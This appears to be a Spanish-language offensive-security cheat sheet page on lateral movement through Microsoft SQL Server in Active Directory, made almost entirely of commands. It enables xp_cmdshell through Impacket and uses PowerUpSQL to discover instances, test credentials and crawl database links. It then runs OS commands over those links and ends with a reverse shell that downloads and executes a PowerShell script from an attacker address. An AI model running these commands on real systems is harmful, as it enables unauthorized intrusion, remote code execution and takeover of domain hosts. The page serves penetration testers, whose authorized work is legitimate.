> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/movimiento-lateral/microsoft-sql-server-mssql.md).

# Microsoft SQL Server (MSSQL)

## Linux/Unix

### Impacket

```shell
# impacket-mssqlclient
mssqlclient.py <ACME.LOCAL>/<user>:"<password>"@<target> -windows-auth
enable_xp_cmdshell
xp_cmdshell whoami
```

## Windows

### PowerUpSQL

Descubrir instancias de SQL Server.

```powershell
Get-SQLInstanceDomain
```

Obtener información de instancias de SQL Server.

```powershell
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
```

Comprobar acceso a instancias de SQL Server dado un usuario y contraseña.

```powershell
$SQLInstances = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -Username "<ACME.LOCAL>\<user>" -Password "<password>" | Where-Object {$_.Status -like "Accessible"}
$SQLInstances
```

Comprobar acceso a instancias de SQL Server utilizando la cuenta de usuario actual.

```powershell
$SQLInstances = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"}
$SQLInstances
```

Ejecución de consultas SQL.

```powershell
Get-SQLQuery -Verbose -Instance "<target>,<port>" -Query "SELECT @@version"
Get-SQLQuery -Verbose -Instance "<target>,<port>" -Username "<ACME.LOCAL>\<user>" -Password "<password>" -Query "SELECT @@version"
```

Obtener links de bases de datos.

```powershell
Get-SQLServerLink -Instance "<Instance>" -Verbose
```

Rastrear links de bases de datos.

```powershell
Get-SQLServerLinkCrawl -Instance "<Instance>" -Verbose
```

Ejecución de comandos utilizando links de bases de datos.

```powershell
Get-SQLServerLinkCrawl -Instance "<Instance>" -Query "exec master..xp_cmdshell 'hostname & whoami'"
```

Reverse shell utilizando links de bases de datos.

```powershell
# Powercat
powercat -l -v -p <listen-port>
# PowerUpSQL
Get-SQLServerLinkCrawl -Instance "<Instance>" -Query "exec master..xp_cmdshell 'powershell.exe IEX (iwr http://<attacker-IP-address>:80/Invoke-PowerShellTcp.ps1 -UseBasicParsing); Invoke-PowerShellTcp -Reverse -IPAddress <attacker-IP-address> -Port <listen-port>'"
```